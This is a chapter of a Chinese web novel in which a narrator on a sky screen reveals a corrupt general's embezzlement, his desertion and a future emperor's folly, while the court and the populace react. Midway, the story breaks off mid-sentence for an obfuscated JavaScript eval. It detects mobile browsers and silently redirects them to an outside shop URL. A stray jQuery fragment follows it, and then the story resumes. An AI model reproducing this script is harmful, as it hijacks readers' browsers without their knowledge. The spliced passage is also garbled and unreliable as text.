【大敌当前,换将也就罢了,还换了个没能力的,不仅没能力,还是个巨贪!据《雍书·佞臣传》记载,赵平在北疆的短短四个月,贪墨了近十五万两白银!相当于户部筹措的军费,基本都落到他手里了。】
四个月,十五万两?
周徽愕然,她向来不喜赵家,没想到赵平竟是如此之人。
想到祖母赵德妃竟想让她出降赵家,她不由一阵恶心。
有这样一个爹,儿子又能是什么好东西!
天幕下,百姓咋舌愤恨。
贪官污吏向来是过街的老鼠,人人喊打。
军营的士兵更破口大骂:“这天杀的,老子一个月的军饷还不到一两银子!”
“竖子可恨!”钟可期一掌在案几上。
北疆十万大军四个月的军饷也不过三十多万两,他赵平一来就侵吞快半数粮饷。
如此一来,士兵吃什么喝什么,拿什么去打仗?!
钟可期并不是将门世家,权臣勋贵出身,他也是从小兵做起的,知道当兵的苦和难,也知道当兵图的就是吃饱饭。
一旦当兵的吃不饱饭了,轻则军心涣散,重则哗变叛乱!
乾元殿,赵平早被绑着丢到众臣面前。
天幕此言一出,户部尚书杜慎几步冲到他跟前,拿着笏板就往他脸上抽,只抽得他惨叫连连。
多大脸啊,敢贪墨这么多银钱,知道不知道老夫每次为了筹备钱粮,要熬多久夜,掉多少头发!
“杜慎,休得在陛下面前放肆。”
兵部尚书作势上前去拉他,结果人是拉不住的,脚是会不小心踢到赵平身上的。
眼见赵平的脸上肿的老高,兵部尚书这才心满意足地将杜慎拉开。
跪在殿角的太子不可置信地瞪着赵平。
他怎可如此辜负他的信任!
【造成的结果可想而知,四月,赵平接手的还是一支装备精良的虎狼之师;到八月,已是军心涣散,军备废弛。在小南看来,要不是谟纥入侵,只怕边军自己就要出问题了。
昌泰二年八月,谟纥入侵,一个月连下三座重镇,北疆告急。在此之际,原本应该带兵坚守的赵平,却把十万大军扔下,自己带着亲卫一路跑回了京城,这操作谁看了不说六啊!
秘密逃回京城之后,赵平先是回府,让他夫人带着珠宝玉石进宫,去找赵太后和赵贵妃,让她们在愍帝面前给他求情,然后才进宫去见愍帝。
见着愍帝第一句,不是认罪,而是告了钟可期和北疆将领一状。】
奸佞小人!
兵部尚书悄悄松开杜慎,同时又踢了赵平一脚。
【大概内容是这样的,北疆这一战之所以打成这样,是因为北疆军队不听管教,对愍帝压着钟可期不让他回北疆这事不满,所以消极应战,想逼朝廷放钟可期回北疆。
而钟可期就是这一切的幕后推手,他勾结谟纥侵边,挑动边将消极应战,目的都是为了重回北疆掌握大军,意图谋逆。】
北疆。
“这不瞎说吗,皇帝老爷能信?”
旁边一人唾弃道:“呸,什么皇帝老爷,那就是个昏君,昏君就爱听贪官的话!”
“钟将军那么好的人,就是他守着北疆,打跑那帮畜牲,大伙这么些年才能好好活着,绝对不能让钟将军被害!”
“对,决不能让昏君害了将军!”
瞬间,一片百姓附和。
他们不懂什么大道理,但钟将军在的这十几年,他们总算能安定下来。
不用怕睡着觉就被胡贼砍了脑袋,不用到了秋收就总心惊胆寒,生怕他们来劫掠。
谁要害钟将军,谁就是不让他们过安生日子!
北疆各州县长官忙的团团转,急声让人再去安抚百姓,同时加强巡逻。
一个不好,马上就会生乱!
军营里士兵已经骚乱起来。
好啊,他们和胡虏拼死拼活,赵平那贱人克扣他们军饷不说,竟还诬蔑他们和胡虏勾结!
乾元殿。
“将他带下去打五十杖。”宣和帝像看死人一样觑着赵平,“朕要他还活着。”
等天幕结束,再砍了他给钟子期和北疆大军一个交代。
【这话不说信不信,起码要查证一下,不能只听信一家之言吧。但是,愍帝信了,他不仅信了,他还立马下旨将钟可期下了大牢,三日后问斩。】
“将太子也带下去,杖打二十。”
宣和帝淡漠道:“就在赵平旁边打。”
【至于赵平,他不仅没被问罪,在赵太后和赵贵妃的美言下,愍帝还赏了他,夸他是忠臣。
小南当时看到这儿的时候真的是一脸问号,这不离谱吗?打败仗的人有赏,没上前线的人反而被问罪。关键是你好歹差一查啊,这么草率的吗?
好在大雍朝堂现在还不是个草台班子,中书令樊怿驳回了这封圣旨,直言要先治赵平临阵脱逃之罪,钟可期之事应暂缓,当前先派人去平定谟纥之乱。
这建议多中肯,但《雍书》记,愍帝勃然大怒,认为樊怿和钟可期勾结,当即将二人一起投入了大牢。】
此时还是尚书左仆射的樊怿:……
他一个文官之首,去勾结边关大将军?
是嫌命太长吗?
“陛下明鉴,臣与钟将军,至今不过见过三次而已,绝无私情!”
宣和帝扶额:“朕知道,爱卿安心。给太子再加十杖。”
蠢货就不该登上高位。
【幸好,在梁太后冯皇后以及雍世祖的多次劝谏下,樊怿出狱,只被罢官免职。钟可期虽还被关着,但好歹变成了择日再审。】
雍世祖?!
一时之间,所有人的思绪都被这三个字所吸引。
五年后雍世祖就在愍帝身边,难不成他是愍帝的哪位妃嫔?!
被打的进气多出气少的太子,登时眸光大亮。
世祖是他的妃子,又并未改朝换代,那下一代皇帝还是他儿子!
如今他只有两个儿子,这两个儿子的生母,正是天幕所说的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720804|208635||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冯后和赵贵妃
世祖,是他已有的妾室,还是登基后才纳的妃子?
宣和帝想的更多,后宫不可干政,纵使总有人僭越,但多是太后皇后,妃妾少见。
比起太子的妃妾,他现在更怀疑另一个人。
“来人,传涅阳郡主。”
周徽眼神晶亮,双手抚在胸前,感受着胸腔内剧烈的跳动。
世祖,在父王身边!
那份潜藏在心底的野望,几欲蓬勃而出。
【愍帝不肯让钟可期再回北疆,但北疆的战局却刻不容缓。要是再拦不下谟纥,只怕大雍的京城雒京,提前八年就会被异族攻破。】
雒京,在八年后,被异族攻破了?!
整个京城一下慌乱了起来。
百姓想逃,却不知该往何处逃。
他们几代人都生活在这儿,都如今一朝知道城破日,又能如何?
物离乡贵,人离乡贱啊!
况且,国都都破了,其他地方又能好到哪儿去。
乾元殿前,众臣面色大变。
他们原以为大雍是因内乱而亡国的,怎么会是因为异族?
历来王朝覆灭兴盛,都是王朝内部的事,从来没有被异族攻破京都而亡国的!
简直是奇耻大辱!
“陛下,臣请派兵攻打谟纥!”
“陛下,末将请命!”
“陛下,臣虽年迈,亦能披甲上阵!”
宣和帝止住众人,面沉如水:“此事,待天幕结束再谈。”
“唯。”
众人看着天幕,心中不由产生一丝庆幸。
【……关于派谁去北疆主持战局,愍帝这次总算选了一个靠谱的人,左卫大将军,颍川长公主驸马,顾川。】
突然被同僚用灼热目光注视的顾川:……
颍川公主府。
“阿娘,是爹,爹一定可以把那些异族打出去!”
颍川公主心中担忧,心不在焉地应了一声。
【顾川曾多次带兵平定过西羌叛乱,打仗经验丰富。他去北疆后,收拢溃兵稳定军心,一个半月内夺回两座重镇,只剩下云中城还在谟纥手中。此后,大雍和谟纥进入对峙时期。
仅和谟纥的这一战,大雍就损失了数座军镇,以及近十分之三的北疆精锐。
若这仗到此为止,就让顾川继位稳扎稳打,以当时的大雍国力来说,后面完全可以把谟纥再赶回关外。
可惜,赵平不甘心,愍帝也没那么放心顾川。
昌泰三年,在赵平的撺掇下,愍帝决定御驾亲征。】
宣和帝实在没忍住,一巴掌狠狠扇在太子脸上。
蠢货,你会打仗吗,你就御驾亲征!
太子整个人被扇到在地,杖责的伤口被牵动,疼的哼了出来。
朝臣中有人想要开口劝谏,这样扇巴掌,太伤太子脸面了。
【哦,愍帝不仅自己去,还带了十几万禁军和一半的朝臣过去。】
想开口的朝臣顿时闭上了嘴。